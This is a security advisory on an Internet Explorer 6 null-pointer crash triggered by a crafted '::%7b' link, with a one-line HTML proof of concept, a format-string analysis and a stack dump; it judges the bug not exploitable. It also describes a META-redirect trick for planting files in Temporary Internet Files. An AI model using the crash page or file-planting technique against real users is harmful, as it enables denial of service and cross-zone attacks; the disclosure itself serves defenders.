‘Internet Explorer Remote Null Pointer Crash (mshtml.dll)’

Summary

‘Internet Explorer is ‘Microsoft’s core browser that is a part of any Windows operating system and is the dominant browser currently in the world.’

Internet Explorer will crash upon right-clicking and choosing Save As on a specially crafted HREF embedded in an HTML document.’

Credit:

‘The information has been provided by Rafel Ivgi, The-Insider.
The information has been provided by Berend-Jan Wever.’


Details

Vulnerable Systems:
 * Internet Explorer version 6.0.2800.1106 patched with SP1, Q832894, Q330994, Q837009 andQ831167

Vulnerable Components:
 * mshtml.dll version 6.0.2734.1600

Upon right-clicking on a link with an HREF that contains a double-colon ‘::’ and a left curly-brace ‘{‘, Internet Explorer will crash. An example of a small HTML file is:
——————————— Begin Code ———————————
<center><a href=::%7b>Right Click aOn Me And Click ‘Save Target As'</a>
———————————- End Code ———————————-

Note that even though a user might click Cancel when the ‘Save As..’ dialog pops-up, Internet Explorer still downloads the file in the interval between the right-click on the link and the click on the Cancel button. This behaviour causes this bug to be more dangerous than originally believed, as Thor Larholm points out in the following paragraphs.

Manually right-clicking and selecting ‘Save target as’ invokes the download functionality. This can also be automatically triggered by redirecting with a META tag to a server script that sets Content-Type and Content-Disposition headers to an unknown MIME-type which causes the ‘Open/Save As’ dialog box to be triggered during which time IE automatically tries to initiate the download and create the appropriate files in the TIF (Temporary Internet Files), just like the ‘Save target as’ functionality does.

IE automatically initiates the download of any file with an unknown MIME-type and starts storing this file in the TIF, before the user has selected whether to Open, Save or Cancel the download. If the user cancels, the file is deleted. This has already been used to plant arbitrary files in predictable locations and leads to a race condition where you can cross the security zone boundaries using other vulnerabilities in the timeframe between the download is forcefully initiated to the time where the user cancels the download.

A detailed analysis of the bug itself was done by Berend-Jan which outlines what is happening and why IE crashes because of the <a href=::%7b> right-click bug.

Right clicking on a link with HREF=’file://::XXXX’ and IE will try to download it, fail and try to report an error. While creating this errormessage FormatMessageW calls RtlFormatMessage with parts of our url in the formatstring. RtlFormatMessage’s arguments include a pointer to the formatstring and a pointer to a pointer to a pointer to an Array of arguments (Array1). All pointers, the formatstring and Array1 are on the stack.

Array1 should contain the normal printf-type arguments (except the formatstring of course) but since none are expected to be there, the pointers to Array1 exist but Array1 itself is totally empty (doesn’t exist). The pointer points to the end of a stack frame. The formatstring for RtlFormatMessage looks like this:
‘%index!conversion!’

For example, ‘%1!x!’ will display Array1[0] as a hex string while ‘%2!s!’ will display Array1[1] as a string. The actual conversion is done with _snwprintf. RtlFormatMessage passes the destination string, the length, the formatstring, and Array1[index] as the first argument to convert. The attacker controls the formatstring and Array1[index]: %10!x%x! will give _snwprintf %x%x as formatstring and Array1[9] as the first argument.

The HREF gets converted to ‘[file] from [server]’ (XXXX from ::), which is used as formatstring in RtlFormatMessage. The following conditions must be met in order for the bug to exhibit itself:
 * The total HREF cannot be more then 97 bytes or _snwprintf won’t be called
 * [file] cannot be more then 28 bytes or _snwprintf won’t be called
 * ‘file://::XXXX/A’ converts to ‘A from ::XXXX’. Use this to bypass the restriction on the [file]-length
 * Each conversion specifier passed to RtlFormatMessage (%index!conversion!) cannot be more then 34 bytes or snwprintf won’t be called
 * RtlFormatMessage limits the total length of the message to 10000 bytes and each call to _snwprintf gets a proper max length accordingly.

Listed below is a stack layout for a crashed Internet Explorer:
——————————— Begin Code ———————————
Address    Stack      Procedure / arguments                 Called from
Frame
xxxxEB3C   77F8F40C   ntdll._snwprintf                      ntdll.77F8F407
xxxxEED8
xxxxEB40   yyyyyyyy     destination = yyyyyyyy
xxxxEB44   00010000     count = 10000 (10000-allready printed chars)
xxxxEB48   xxxxEE84     format = ‘%x’ (conversion)
xxxxEB4C   xxxxxxxx       = 1  Array1[index]
xxxxEB50   00000000       = 0
xxxxEB54   00000000       = 0
xxxxEB58   00000500       = 0x500
xxxxEB5C   00000000       = 0
xxxxEB60   00000000       = 0
xxxxEB64   xxxxFE6C       = &Array1[1]
xxxxEEDC   7C57F221   ntdll.RtlFormatMessage
KERNEL32.7C57F21B
xxxxEF74
xxxxEEE0   04246F30     Source = UNICODE ‘A from ::%1!x!’
xxxxEEE4   00000000
xxxxEEE8   00000000
xxxxEEEC   00000000
xxxxEEF0   00000000
xxxxEEF4   xxxxFE24     Arguments = xxxxFE24 [&&&Array of arguments]
xxxxEEF8   yyyy0000     Destination = freshly allocated heap.
xxxxEEFC   00010000     Length = 10000 (updated by RtlFormatMessage and passed to _snwprintf)
xxxxEF64   xxxxFFDC   [Pointer to next SEH record]
xxxxEF68   xxxxxxxx   [SE handler]
xxxxEF78   7C57F2CB   KERNEL32.7C57F102
KERNEL32.7C57F2C6             xxxxEF74
xxxxEFA0   70A9D0CD   KERNEL32.FormatMessageW               SHLWAPI.70A9D0C7
xxxxEF9C
xxxxEFA4   00000500     Flags = ALLOCATE_BUFFER|FROM_STRIN
xxxxEFA8   04246F30     pSource = 04246F30
xxxxEFAC   00000000     MessageId = 0
xxxxEFB0   00000000     LanguageId = 0 (LANG_NEUTRAL)
xxxxEFB4   xxxxFE28     Buffer = xxxxFE28
xxxxEFB8   00000000     BufSize = 0
xxxxEFBC   xxxxFE24     Arguments = xxxxFE24 [&&&Array of arguments]
xxxxF3F8   7174B9DD   SHLWAPI.#68                           SHDOCVW.7174B9D7
xxxxF3F4
xxxxFC38   UNICODE ‘::%1!x!/A’
xxxxFE24   xxxxFE44   [&&Array of arguments]
xxxxFE30   7175E158   SHDOCVW.7174B97C                      SHDOCVW.7175E153
xxxxFE2C
xxxxFE44   xxxxFE6C   [&Array of arguments]
xxxxFE48   717610C6   SHDOCVW.7175E122                      SHDOCVW.717610C1
xxxxFE44
xxxxFE6C   xxxxFEA4   [arg 1 -> arg 15]
xxxxFE70   7176111D   SHDOCVW.7176103E              SHDOCVW.7176111D
xxxxFE74   00199020
xxxxFE78   001D4358
xxxxFE94   001D5F74
xxxxFEA4   xxxxFEEC   [arg 15 -> arg 33 ]
xxxxFEA8   71761331   RETURN to SHDOCVW.71761331 from SHDOCVW.717610EC
xxxxFEAC   00199020
xxxxFEB0   001D4358
xxxxFED0   001D5F74
xxxxFEE4   001D5F50
xxxxFEE8   00199020
xxxxFEEC   xxxxFF50   [ arg 33 -> … ]
xxxxFEF0   717604AB   RETURN to SHDOCVW.717604AB from SHDOCVW.717612E2
xxxxFEF4   00199C80   (arg 35) UNICODE ‘file://:|%1!x!/A’
xxxxFE70   7176111D   SHDOCVW.7176103E                      SHDOCVW.71761118
xxxxFE6C
xxxxFEA8   71761331   SHDOCVW.717610EC                      SHDOCVW.7176132C
xxxxFEA4
xxxxFEF0   717604AB   SHDOCVW.717612E2                      SHDOCVW.717604A6
xxxxFEEC
xxxxFF50   040BFFB4   [ … -> … ]
xxxxFF54   70AAC487   Includes SHDOCVW.717604AB             SHLWAPI.70AAC484
xxxxFF50
xxxxFFB8   7C57438B   Includes SHLWAPI.70AAC487
KERNEL32.7C574388
xxxxFFB4
xxxxFFDC   FFFFFFFF   [Pointer to next SEH record]
xxxxFFE0   xxxxxxxx   [SE handler]
———————————- End Code ———————————-

The vulnerability however is not exploitable. This is mainly due to the fact that the SEH can’t be reached and RtlFormatMessage doesn’t allow enough room in the format string to have _snwprintf do stackpopping and overwrite it. In addition, overwriting something with useful value is not plausible.’

Categories: Windows